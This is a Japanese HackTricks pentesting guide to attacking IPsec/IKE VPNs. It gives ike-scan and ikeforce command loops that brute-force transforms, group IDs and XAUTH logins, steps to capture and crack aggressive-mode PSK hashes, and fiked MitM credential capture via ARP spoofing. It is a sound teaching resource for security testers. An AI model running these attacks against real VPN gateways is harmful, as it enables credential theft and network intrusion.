hacktricks/network-services-pentesting/ipsec-ike-vpn-pentesting.md

260 lines
22 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 500/udp - IPsec/IKE VPNのペンテスト
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## 基本情報
IPsecは、ゲートウェイ間LAN間およびホストとゲートウェイリモートアクセスの企業VPNソリューションにおいて最も一般的に使用される技術です。
**IKEはISAKMPInternet Security Association Key Management Protocolの一種**であり、認証と鍵交換のためのフレームワークです。IKEは、3つのフェーズのプロセスを通じて2つのエンドポイント間でセキュリティアソシエーションSAを確立します。
* **フェーズ1** プリ共有キーPSKまたは証明書を使用して、2つのエンドポイント間に安全なチャネルを確立します。メインモード3つのメッセージのペアまたは**アグレッシブ**モードを使用できます。
* **フェーズ1.5** これはオプションで、拡張認証フェーズと呼ばれ、接続しようとしているユーザー(ユーザー+パスワード)を認証します。
* **フェーズ2** ESPとAHを使用してデータセキュリティのパラメータを交渉します。フェーズ1で使用されたものとは異なるアルゴリズムを使用できます完全な転送秘密鍵PFS
**デフォルトポート:** 500/udp
## nmapを使用してサービスを**検出**する
```
root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT STATE SERVICE
500/udp open isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
```
## **有効な変換を見つける**
IPSecの設定は、1つまたはいくつかの変換を受け入れるように準備することができます。変換は値の組み合わせです。**各変換**には、暗号化アルゴリズムとしてDESまたは3DES、整合性アルゴリズムとしてSHAまたはMD5、認証タイプとして事前共有キー、鍵配布アルゴリズムとしてDiffie-Hellman 1または2、および28800秒の寿命など、いくつかの属性が含まれています。
したがって、最初に行うべきことは、**有効な変換を見つける**ことです。これにより、サーバーがあなたと通信することができます。これを行うために、ツール**ike-scan**を使用することができます。デフォルトでは、ike-scanはメインモードで動作し、ISAKMPヘッダーと1つの提案を含むパケットをゲートウェイに送信します。提案には**8つの変換が含まれています**。
応答によって、エンドポイントに関するいくつかの情報を取得することができます。
```
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
```
前の応答で見られるように、**AUTH**というフィールドがあり、その値は**PSK**です。これはVPNが事前共有キーを使用して構成されていることを意味しますこれはペンテスターにとって非常に良いことです
**最後の行の値も非常に重要です:**
* _0 returned handshake; 0 returned notify:_ これはターゲットが**IPsecゲートウェイではない**ことを意味します。
* _**1 returned handshake; 0 returned notify:**_ これはターゲットが**IPsecに構成され、IKEのネゴシエーションを実行する意思があり、提案したトランスフォームのいずれかが受け入れ可能**であることを意味します(有効なトランスフォームは出力に表示されます)。
* _0 returned handshake; 1 returned notify:_ VPNゲートウェイは、**受け入れ可能なトランスフォームがない場合には通知メッセージで応答**します(ただし、一部のゲートウェイは応答しない場合もあります。その場合は、さらなる分析と改訂された提案を試す必要があります)。
したがって、この場合は既に有効なトランスフォームがありますが、3番目の場合は少し**ブルートフォースを行って有効なトランスフォームを見つける必要があります:**
まず、すべての可能なトランスフォームを作成する必要があります:
```bash
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
```
そして、ike-scanを使用してそれぞれをブルートフォース攻撃しますこれには数分かかる場合があります:
```bash
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
```
もしブルートフォース攻撃がうまくいかない場合、サーバーが有効な変換に対してもハンドシェイクなしで応答している可能性があります。その場合、同じブルートフォース攻撃をアグレッシブモードで試してみることができます。
```bash
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
```
以下は、`iker.py`を使用して同じ攻撃を試すこともできます。\
また、[ikeforce](https://github.com/SpiderLabs/ikeforce)を使用して変換をブルートフォースすることもできます。
```bash
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
```
![](<../.gitbook/assets/image (109).png>)
**DHグループ14 = 2048ビットMODP**および**15 = 3072ビット**\
**2 = HMAC-SHA = SHA1この場合. --transフォーマットは$Enc、$Hash、$Auth、$DHです**
特に、CiscoはDHグループ1と2の回避を推奨しています。論文の著者は、弱いグループを使用してネゴシエートされたIPsecセッションを国家が離散対数の事前計算を介して復号できる可能性が高いと説明しています。数億ドルを費やして行われる事前計算は、弱いグループ1,024ビット以下を使用したセッションのリアルタイム復号を通じて償却されます。
### サーバーのフィンガープリント
次に、ike-scanを使用してデバイスの**ベンダーを特定**することができます。このツールは初期提案を送信し、リプレイを停止します。その後、サーバーから受信したメッセージと一致する応答パターンの**時間差**を**分析**することで、ペンテスターはVPNゲートウェイのベンダーを正確に特定することができます。さらに、一部のVPNサーバーはIKEでオプションの**ベンダーIDVIDペイロード**を使用します。
必要に応じて、有効な変換を指定します(--transを使用
IKEがベンダーを特定すると、それを表示します
```
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
IKE Backoff Patterns:
IP Address No. Recv time Delta Time
172.16.21.200 1 1322286031.744904 0.000000
172.16.21.200 2 1322286039.745081 8.000177
172.16.21.200 3 1322286047.745989 8.000908
172.16.21.200 4 1322286055.746972 8.000983
172.16.21.200 Implementation guess: Cisco VPN Concentrator
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
```
これはnmapスクリプト_**ike-version**_でも実現できます。
## 正しいIDグループ名の検索
ハッシュをキャプチャするためには、アグレッシブモードをサポートし、正しいIDグループ名が必要です。おそらく正しいグループ名はわからないため、ブルートフォース攻撃を行う必要があります。
そのために、2つの方法をおすすめします。
### ike-scanを使用したIDのブルートフォース攻撃
まず、ハッシュを収集するために偽のIDでリクエストを行ってみてください"-P"を使用):
```bash
ike-scan -P -M -A -n fakeID <IP>
```
もし**ハッシュが返されない**場合、おそらくこのブルートフォースの方法は機能するでしょう。**もしハッシュが返される場合、それは偽のIDに対して偽のハッシュが送り返されることを意味しますので、この方法は信頼性がありません**。例えば、偽のハッシュが返されることがあります(これは最新バージョンで起こります):
![](<../.gitbook/assets/image (110).png>)
しかし、私が言ったように、ハッシュが返されない場合は、ike-scanを使用して一般的なグループ名をブルートフォースする必要があります。
このスクリプトは、**可能なIDをブルートフォースし、有効なハンドシェイクが返されるID有効なグループ名を返します**。
特定の変換を発見した場合は、ike-scanコマンドに追加してください。そして、複数の変換を発見した場合は、すべてを試すための新しいループを追加してください正常に機能するまですべてを試す必要があります
[ikeforceの辞書](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic)または[seclistsの辞書](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt)を使用して、一般的なグループ名をブルートフォースすることができます。
```bash
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
```
または、この辞書を使用します重複を排除した他の2つの辞書の組み合わせです
{% file src="../.gitbook/assets/vpnIDs.txt" %}
### Ikerを使用したIDのブルートフォース攻撃
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py)は、**ike-scan**を使用して可能なグループ名をブルートフォース攻撃するためにも使用されます。**ike-scan**の出力に基づいて、有効なIDを見つけるための独自の方法を使用します。
### ikeforceを使用したIDのブルートフォース攻撃
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce)は、**IDのブルートフォース攻撃**にも使用できるツールです。このツールは、**有効なIDと無効なIDを区別するために使用できるさまざまな脆弱性**を悪用しようとします偽陽性と偽陰性が発生する可能性があるため、可能な場合はike-scanの方法を使用することをお勧めします
デフォルトでは、**ikeforce**は最初にいくつかのランダムなIDを送信して、サーバーの動作をチェックし、使用する戦術を決定します。
* **最初の方法**は、Ciscoシステムの**Dead Peer Detection DPD**の情報を検索して、グループ名が正しい場合にのみサーバーが再生する情報をブルートフォース攻撃することです。
* 利用可能な**2番目の方法**は、各試行に送信される応答の数を**チェック**することです。正しいIDが使用されると、時にはより多くのパケットが送信されることがあります。
* **3番目の方法**は、不正なIDに対する応答として**"INVALID-ID-INFORMATION"を検索**することです。
* 最後に、サーバーがチェックに何も応答しない場合、**ikeforce**はサーバーをブルートフォース攻撃し、正しいIDが送信されるとサーバーがパケットを返信するかどうかを確認します。\
明らかに、IDのブルートフォース攻撃の目的は、有効なIDがある場合に**PSK**を取得することです。その後、**id**と**PSK**を使用してXAUTH有効な場合をブルートフォース攻撃する必要があります。
特定の変換を発見した場合は、ikeforceコマンドに追加してください。複数の変換を発見した場合は、すべてを試すための新しいループを自由に追加してください正常に機能するまですべてを試す必要があります
```bash
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
```
```bash
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
```
### IDのスニッフィング
VPNクライアントとサーバー間の接続をスニッフィングすることで、有効なユーザー名を取得することも可能です。なぜなら、最初のアグレッシブモードパケットにはクライアントIDが平文で送信されるからです書籍『ネットワークセキュリティアセスメントネットワークを知る』より
![](<../.gitbook/assets/image (111).png>)
## ハッシュのキャプチャとクラック
最後に、**有効な変換**と**グループ名**が見つかり、かつ**アグレッシブモードが許可されている**場合、クラック可能なハッシュを簡単に取得することができます。
```bash
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
```
ハッシュは_hash.txt_に保存されます。
ハッシュを**クラック**するために、**psk-crack**、**john**[**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)を使用)および**hashcat**を使用することができます。
```bash
psk-crack -d <Wordlist_path> psk.txt
```
## **XAuth**
ほとんどの実装では、**グループ認証を行うためにPSKを使用したアグレッシブモードIKE**を使用し、**追加のユーザー認証を提供するためにXAUTHを使用**しますMicrosoft Active Directory、RADIUS、または類似の方法を介して。**IKEv2**では、ユーザーの認証にはEAPがXAUTHの代わりに使用されます。
### ローカルネットワークのMitMによる資格情報のキャプチャ
したがって、_fiked_を使用してログインデータをキャプチャし、デフォルトのユーザー名があるかどうかを確認できますスニッフィングのためにIKEトラフィックを`fiked`にリダイレクトする必要があります。これはARPスプーフィングのヘルプを使用して行うことができます、[詳細情報](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)。FikedはVPNエンドポイントとして機能し、XAuthの資格情報をキャプチャします
```bash
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
```
また、IPSecを使用してMitM攻撃を行い、ポート500へのすべてのトラフィックをブロックしてみてください。IPSecトンネルが確立できない場合、トラフィックはクリアテキストで送信されるかもしれません。
### ikeforceを使用したXAUTHユーザー名とパスワードのブルートフォース攻撃
**XAUTH**(有効なグループ名**id**と**psk**がわかっている場合)をブルートフォース攻撃するには、ユーザー名またはユーザー名のリストとパスワードのリストを使用できます:
```bash
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
```
この方法では、ikeforceはユーザー名とパスワードの組み合わせを使用して接続を試みます。
前の手順と同様に、1つまたは複数の有効なトランスフォームが見つかった場合は、それらを使用してください。
## IPSEC VPNでの認証
Kaliでは、IPsecトンネルを確立するために**VPNC**が使用されます。**プロファイル**は_**/etc/vpnc/**_に配置する必要があり、ツール_**vpnc**_を使用して呼び出すことができます。\
以下は、書籍**Network Security Assessment 3rd Edition**からの例です。
```
root@kali:~# cat > /etc/vpnc/vpntest.conf << STOP
IPSec gateway 10.0.0.250
IPSec ID vpntest
IPSec secret groupsecret123
IKE Authmode psk
Xauth username chris
Xauth password tiffers1
STOP
root@kali:~# vpnc vpntest
VPNC started in background (pid: 6980)...
root@kali:~# ifconfig tun0
```
## 参考資料
* [PSKクラッキング論文](http://www.ernw.de/download/pskattack.pdf)
* [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
* [VPN実装のスキャン](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf)
## Shodan
* `port:500 IKE`
<figure><img src="broken-reference" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリまで、クラウドシステム全体にわたる問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>